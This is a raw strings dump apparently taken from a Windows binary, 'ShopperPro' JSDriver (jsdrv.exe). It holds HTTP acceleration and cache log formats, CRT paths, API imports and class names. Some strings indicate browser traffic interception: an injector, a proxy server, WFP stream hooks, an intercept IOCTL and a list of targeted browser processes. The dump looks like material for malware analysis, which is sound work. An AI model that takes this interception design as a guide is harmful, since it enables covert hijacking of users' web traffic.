[AccelerationLogicHD::SetLastTimeEndPosition] FDM=%d - Last Time End Position: %lld (%lld)

[AccelerationLogicHD::IsToUseOriginalRequest] Res = %s.

[AccelerationLogicHD::IsPartner] Partner = %d

[AccelerationLogicHD::CalculateRangeSizeLimit] ___Warning SizeLimit %d RangeSize cut from %d to %d

[AccelerationLogicHD::CalculateRangeSizeLimit] FDM=%d - Size limit: %lld

[AccelerationLogicHD::UpdateToRegistryValues] BufferingTime: %d

[AccelerationLogicHD::UpdateToRegistryValues] DelayTime: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MinimumRangeSize: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeSize was reduced to the maximum range size: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeSize was increased to: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - MaxRangeSizePerConnection: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - Did not finish downloading the pre-buffering: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seonds play time: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all ranges

[AccelerationLogicHD::CalculateNextRangeSize] WorkerBps: %d

[AccelerationLogicHD::CalculateNextRangeSize] PlayRate: %d

[AccelerationLogicHD::CalculateNextRangeSize] 3G: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeTimeSize was set to the maximum range time size %.1f

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeTimeSize was increased to %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MaxRangeTimeSizePerConnection %lld

[AccelerationLogicHD::GetMinTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialRangeSize] %d (bytes)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - In about: %.1f seconds

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seconds play time: %lld bytes

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - PlayerPosition >= DownloadPosition (%lld >= %lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Download Potential Buffering Predicted *** - TimeLeftToDownload: %.1f

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 10 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 5 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait until finish downloading the player initial cache...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Active job has completed

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Time acceleration is not supported yet...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Error invalid pJobInfo

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Time Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastTimeEndPosition   InitialTimeRangeSize (%lld   %lld) > StartTimePosition   TotalPlayDuration (%lld   %lld)

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastEndPosition (%lld) >= StartPosition   DownloadSize - 1 (%lld   %lld)

[AccelerationLogicHD::AccelerateIsSupported] FDM=%d ___Warning - No rule for this domain

AccelerationLogicHD::AccelerateIsSupported

[AccelerationLogicHD::GetRedirectRuleName] FDM=%d - %s

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Enable Acceleration - DownloadRate: %d, PlayTime: %d (Delay: %d)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Range Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last Time End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Time Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Network too slow for acceleration - wait for pre-buffer to complete... (%d < 7KBps)

[AccelerationLogicHD::FileShouldBeAccelerated] ___Warning - aktimeoffset not supported

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Trail expired

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule pointer for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Server is known to not support ranges

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - not a GET command

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Number of connection is set to one

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max TimeRangeSize: %lld (ms)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max RangeSize: %lld (bytes)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - MaxNumberOfConnections: %d

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - iTunes

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - QuickTimeWinInet

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d ___Error - invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPartner] ___Error - get module filename: %d

[AccelerationLogicHD::Reset] FDM=%d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Range Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Rule Location: %d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d ___Error - invalid m_pRedirectDomainRule

[CConnectionsManager::OnStartAcceleration] Max: %d, Init: %d, AvgBps: %d

[CConnectionsManager::ResetStartAcceleration] AvgBps: %d

[CConnectionsManager::GetNumberOfConnections] Decreased to: %d, AvgBps: %d (%d)

[CConnectionsManager::GetNumberOfConnections] Increased to: %d, AvgBps: %d (%d)

[CConnectionsManagerSocket] socket %d

[CConnectionsManagerSocket::OnReadEvent] socket %d

[CConnectionsManagerSocket::OnWriteEvent] socket %d

[CConnectionsManagerSocket::OnCloseEvent] socket %d

[CConnectionsManagerSocket::OnAcceptEvent] socket %d

[CConnectionsManagerSocket::OnConnectEvent] socket %d

[~CConnectionsManagerSocket] socket %d

[CConnectionsManager::OnReadEvent] socket %d

[CConnectionsManager::OnWriteEvent] socket %d

[CConnectionsManager::OnConnectEvent] socket %d - Connect Time: %d ms

[CConnectionsManager::PrepareAccelerationConnections] Max: %d, Remote: %s:%d

[CConnectionsManager::AddConnection] socket %d - Remote: %s:%d

[CConnectionsManager::AddConnection] ___Warning socket %d - not connected

[CConnectionsManager::Work] Remote: %s:%d - Done.

[CConnectionsManager::Work] ___Error Connect socket %d

[CConnectionsManager::Work] ___Error AsyncSocket Initialize. LE: %x

[CConnectionsManager::Work] Add socket %d - Remote: %s:%d

[CConnectionsManager::Work] Remote: %s:%d

[CConnectionsManager::Cleanup] %d sockets left in map

[CConnectionsManager::Cleanup] Cleaning %d sockets from map

[CConnectionsManager::RemoveConnection] socket %d

[CConnectionsManager::GetConnection] *** Found socket %d - %s:%d (3G: %d)***

[CConnectionsManager::GetConnection] socket %d - Not matching - %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not ready for Writing or not Connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - GetPeerName

[CConnectionsManager::GetConnection] ___Warning socket %d - GetInternalFlag(SOCKET_IS_CELLULAR) - %d

[CConnectionsManager::GetConnection] Remote: %s:%d, 3G: %d

[CConnectionsManager::OnCloseEvent] socket %d

lighttpd/1.4.8

[AccelerationLogic::SetPlayDuration] FDM=%d - Play Duration: %lld

[AccelerationLogic::SetDownloadSize] FDM=%d - Download size: %lld (%lld)

[AccelerationLogic::SetTotalFileSize] FDM=%d - Total File size: %lld

[AccelerationLogic::SetStartPosition] FDM=%d - Start Position: %lld (%lld)

[AccelerationLogic::SetLastEndPosition] FDM=%d - Last End Position: %lld (%lld)

[AccelerationLogic::SetNumberOfConnections] FDM=%d - Max Connections: %d

[AccelerationLogic::SetInitialNumberOfConnections] FDM=%d - Initial Connections: %d

[AccelerationLogic::SetMaximumRangeSize] FDM=%d - Max Range Size: %lld

[AccelerationLogic::SetMaximumBpsToWriteIntoSocket] FDM=%d - Max BPS: %d

[AccelerationLogic::SetRequestRangeLocation] Request Range Location: %d

[AccelerationLogic::UpdateBytesWritten] FDM=%d, Job:%d (3G: %d) - BytesWritten: %lld, TotalBytesWritten: %lld (%lld   %lld)

[AccelerationLogic::ReportOnStartPlay] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::ReportOnDownloadComplete] FDM=%d (3G: %d)

[AccelerationLogic::IsResponseRangeBiggerThenMaster] FDM=%d ___Warning - Range >= Master (%lld >= %lld)

[AccelerationLogic::IsToIncreaseWorkers] FDM=%d - Increased connections to: %d (%d)

[AccelerationLogic::SetPlayRate] FDM=%d - Play Rate: %d

[AccelerationLogic::UpdateBytesDownloaded] FDM=%d, Job:%d (3G: %d) - BytesDownloaded: %lld, TotalBytesDownloaded: %lld (%lld   %lld)

[AccelerationLogic::CalculateNextRangeSize] PlayTimeLeft %d

[AccelerationLogic::CalculateNextRangeSize] WorkerBps %d

[AccelerationLogic::CalculateNextRangeSize] nPlayTime %d

[AccelerationLogic::CalculateAverageWorkerBPS] FDM=%d - Total Average BPS: %d, Worker Average BPS: %d (%d/%d)

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Rule Domain Name: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - Using generic rule

AppleWebKit

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - No Rule for Domain: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Look for rule using - Host: %s, ContentType: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Error getting IAccelerationConfiguration

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s is not %s

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s was not found.

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d ___Error GetRequestRangeLocation failed.

AccelerationLogic::AccelerateIsSupported

[AccelerationLogic::ReportOnRequestFinished] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::UpdateFileContentType] FDM=%d - ContentType: %s

[AccelerationLogic::UpdateRequestURI] FDM=%d - URI: %s

[AccelerationLogic::UpdateFileHost] FDM=%d - Host: %s

[AccelerationLogic::UpdateFileContentDisposition] FDM=%d - Content-Disposition: %s

[AccelerationLogic::UpdateUserAgent] FDM=%d - User-Agent: %s, Download: %d

NonSupportRangeServersList

[AccelerationLogic::IsResponseCodeValid] *** Acceleration is not supported by the server ***. The response code %s is not %s

[AccelerationLogic::CreateAnyRule] FDM=%d

[AccelerationLogic::FileShouldBeAccelerated] DailyMotion seek not supported

[AccelerationLogic::IsOurConnection] FDM=%d *** Acceleration is not allowed ***. Module: %s

[AccelerationLogic::Reset] FDM=%d

[~AccelerationLogic - %p] FDM=%d - ... Leave

[~AccelerationLogic - %p] FDM=%d - Enter ...

[AccelerationLogic::UpdateAverageBPS] FDM=%d, Job:%d (3G: %d) - %d

[CHttpCacheData::FreeBuffers] CD:%d, FDM=%d - Releasing %lld bytes

[CHttpCacheData::SetCacheLimit] CD:%d, FDM=%d - %lld --> %lld

[CHttpCacheData::Write - ICacheWriter] CD:%d, FDM=%d - Written: %d (%lld) bytes

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d - Cache is orphan & has incomplete http header

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d

[CHttpCacheData::GetRanges] CD:%d, FDM=%d - Ranges: %lld-%lld

[CHttpCacheData::SetActive] CD:%d, FDM=%d, Active: %d -> %d

[CHttpCacheData::SetComplete] CD:%d, FDM=%d, Complete: %d -> %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - No Match! %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match - Ignore ranges (Code: %d) *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - Cookie No Match! (Code: %d) %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Finish writing %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d (%lld/%lld) bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Writen %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write new %d bytes - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write cached %d bytes, from offset %lld - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - GetTotalBytesWritten: %lld, BytesInBuffer: %lld, RANGE_START_POSITION: %lld, nDataBytesWritten: %lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Cache size: %d

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write %d bytes

[CHttpCacheData::AddCacheWorker] CD:%d, FDM=%d

[CHttpCacheData] CD:%d, Url: %s

[~CHttpCacheData] CD:%d

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d - Try to stop the owner caching FDM...

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d

[CHttpCacheData::DumpBufferToLogFile] CD:%d, FDM=%d

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes, from offset %lld (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Range: %lld-%lld

[CacheWorker::SetSize - %p] Cache size: %d

[CacheWorker::SetStatus - %p] WORKER_STATUS_FINISHED (%d) - job:%d

[CacheWorker::SetEncryptionKey - %p] Key: %p

[CacheWorker::AppendToCache - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::AppendToCache - %p] Bytes in buffer: %d

[CacheWorker::WriteToCacheWriter - %p] BytesWritten: %d, TotalBytesWritten: %lld, HeaderBytesDownloaded: %lld, DataBytesDownloaded: %lld

[CacheWorker::WriteToCacheWriter - %p] CacheData - Written %d bytes

[CacheWorker::WriteToCacheWriter - %p] CacheData - Going to write %d bytes

[CacheWorker::Write - %p] *** Finished to download & write job:%d ***

[CacheWorker::Write - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::Write - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] Before writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] ___Warning already finished job:%d

[CacheWorker::Write - %p] Bytes in buffer: %d

[CacheWorker::WriteBufferFromCache - %p] *** Finished to download & write job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) failed to download for a lot of time.

[CacheWorker::WriteBufferFromCache - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] Going to write %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] *** Worker Idle - Finished job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) - Worker Idle - failed to download for a lot of time.

f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\locale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocnum

f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xloctime

f:\dd\vctools\crt_bld\self_x86\crt\src\locale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmes

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon

%d / %m / %y

%I : %M : %S %p

%m / %d / %y

%b %d %H : %M : %S %Y

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xwcsxfrm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c

Client hook allocation failure at file %hs line %d.

Memory allocated at %hs(%d).

Client hook re-allocation failure at file %hs line %d.

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory after end of heap buffer.

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory before start of heap buffer.

CRT detected that the application wrote to a heap buffer that was freed.

crt block at 0x%p, subtype %x, %Iu bytes long.

client block at 0x%p, subtype %x, %Iu bytes long.

%hs(%d) :

#File Error#(%d) :

Data: <%s> %s

f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c

Visual C   CRT: Not enough memory to complete call to strerror.

f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c

_CrtDbgReport: String too long or IO Error

Debug %s!

Program: %s%s%s%s%s%s%s%s%s%s%s%s

f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c

f:\dd\vctools\crt_bld\self_x86\crt\src\read.c

%s(%d) : %s

_CrtDbgReport: String too long or Invalid characters in String

GetProcessWindowStation

f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_env.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c

f:\dd\vctools\crt_bld\self_x86\crt\src\input.c

f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c

Broken pipe

Inappropriate I/O control operation

Operation not permitted

f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c

portuguese-brazilian

operator

f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c

ICACLS.EXE

SOFTWARE\%s

Global\%s_CONFIG_XML

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

Injector dump %s: %s

inj_rem remain %d

inj_loc remain %d

%s PutChunk send %d bytes to server

%s PutChunk send %d bytes to client

%s close pRemoteInj

%s close pLocalInj

New EmuSession flow %lld, now %d

Injector: Flow %lld, create session %X

Injector: Flow %lld, FDM=%d (%d)

%s ConnectedToVA, pLocalInj %p, pLocalVA %p

Delete EmuSession flow %lld, remain %d, chunks %d

%s delete Session %X

%s HandleChunk FWPS_STREAM_FLAG_SEND len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_SEND_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_ABORT

Injector: FDM=%d (%d)

%s ConnectToInj, Session not found pLocalVA %X

%s ConnectToInj

Cleanup %s

allports

iexplore.exe firefox.exe chrome.exe opera.exe webkit2webprocess.exe navigator.exe torch.exe u.exe epic.exe browser.exe maxthon.exe sbrender.exe vantvw.exe dragon.exe

[Stproxy]: open driver HANDLE %p, err %d

jsdriver: LoadConfig: error parsing Config.json

parsing Config.json

IOCTL_ENABLE_INTERCEPT res %d

SetThreadPriority %d

error %d

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xiosbase

0123456789.eE-

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xutility

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocnum

Windows NT 6.1

%s?e=%s

zvl=%s&

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Content-Type: multipart/form-data; boundary=%s

HTTP/1.1

XXX

Software\Microsoft\Windows\CurrentVersion\Internet Settings

%s\%s

C:\Builds\Build_ShopperProMulti\JSDriver\1.42.0.0\JsDriver\Release\jsdrv.pdb

WSAJoinLeaf

WS2_32.dll

VERSION.dll

USERENV.dll

HttpQueryInfoA

InternetOpenUrlA

InternetCrackUrlA

HttpSendRequestA

HttpAddRequestHeadersA

HttpOpenRequestA

HttpSendRequestExA

HttpEndRequestA

WININET.dll

GetProcessHeap

GetCPInfo

PeekNamedPipe

KERNEL32.dll

MsgWaitForMultipleObjectsEx

CloseWindowStation

SetProcessWindowStation

OpenWindowStationA

USER32.dll

RegNotifyChangeKeyValue

RegOpenKeyExA

RegCloseKey

RegCreateKeyExA

RegDeleteKeyA

RegOpenKeyA

RegEnumKeyA

RegEnumKeyExA

RegQueryInfoKeyA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AVSaveWatchUrl@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AV?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AVCEventsList@?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AV?$CAsyncUdpSocketServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

HTTP://

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

.?AVCAsyncUdpSocket@@

.?AVCExecuteUpdate@@

..\Common\Base64.cpp

..\Common\Base64MultiBytes.cpp

<>"#%{}|\^~[]`' ?&

<>"#{}|\^~[]`' ?&

.?AVIHttpProxyWorker@@

.?AV?$IBaseInterface@VIInjHttpProxyServer@@@@

.?AVIInjHttpProxyServer@@

.?AV?$CBaseInterface@VInjHttpProxyServer@@VIInjHttpProxyServer@@@@

.?AV?$IBaseInterface@VIHttpProxyServer@@@@

.?AVIHttpProxyServer@@

.?AVInjHttpProxyServer@@

.?AVHttpProxyServer@@

.?AV?$CBaseInterface@VHttpProxyServer@@VIHttpProxyServer@@@@

.?AVIHttpStreamSink@@

.?AVIHttpFileDownloadMgr@@

.?AVInjHttpProxyLocal@@

.?AVHttpProxyLocal@@

.?AVHttpProxyWorker@@

.?AVInjHttpProxyRemote@@

.?AVHttpProxyRemote@@

.?AVHttpParser@@

VA_SUBJECT_FMD_%d_WORKER_CREATED

VA_SUBJECT_FMD_%d_RANGE_CREATED

VA_SUBJECT_FMD_%d

VA_SUBJECT_FMD_%d_WORKER_%d

.?AVHttpCookie@@

.?AVHttpCookieJar@@

.?AV?$IBaseInterface@VIHttpCacheManager@@@@

.?AVIHttpCacheManager@@

.?AV?$CBaseInterface@VCHttpCacheManager@@VIHttpCacheManager@@@@

.?AVCHttpCacheManager@@

.?AVCProxyServerPassThrough@@

.?AVCHttpCacheData@@

zcÁ

.?AVCHttpAsync@@

.?AVCHttp@@

1.0.1.4

3.1.9318.1766

%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1766\jsdrv.exe

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

2 2(2.242|2

<(<6<&?8?

;#<-<:<@<

6m6I6

2/2X2

5"535`6 7

1(1-121x1}1

y0~0 1%1U1Z1

99N9X9h9v9

6f6F6X6

7#767;7|7

0 1*131?1

<0=5=->2>

0%0U0Z0

3'41464;4}4

70858:8?8

>4?9?>?\?

969;9@9/:

3(4:4`498@8#:*:

7(>,>0>4>8><>

9 9$9(9,9094989<9

= =$=(=,=0=4=

;/;6;=;`;

? ?$?(?,?0?4?8?<?@?

9#:(:-:2:

9!9@9_9~9

2/2T2f2n2

77T7f7n7

0$0(0,0004080

6 6$6(64686

4 4$4(4,4044484<4@4

0 0$0(0,00040

4 4$4(4,4044484

7 7$7(7,7074787<7@7

,0004080<0

; ;$;(;,;0;4;8;

2 2$2(2,20242

3 3$3(3,3034383<3

5 5$5(5,505

= =(=,=0=4=

2,282\2|2

=$=,=8=\=|=

5$5,585\5|5

=,=8=\=|=

1(141<1\1

:$:,:8:\:|:

2 2$2(2,2024282`2

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator

?std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator ==

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator --

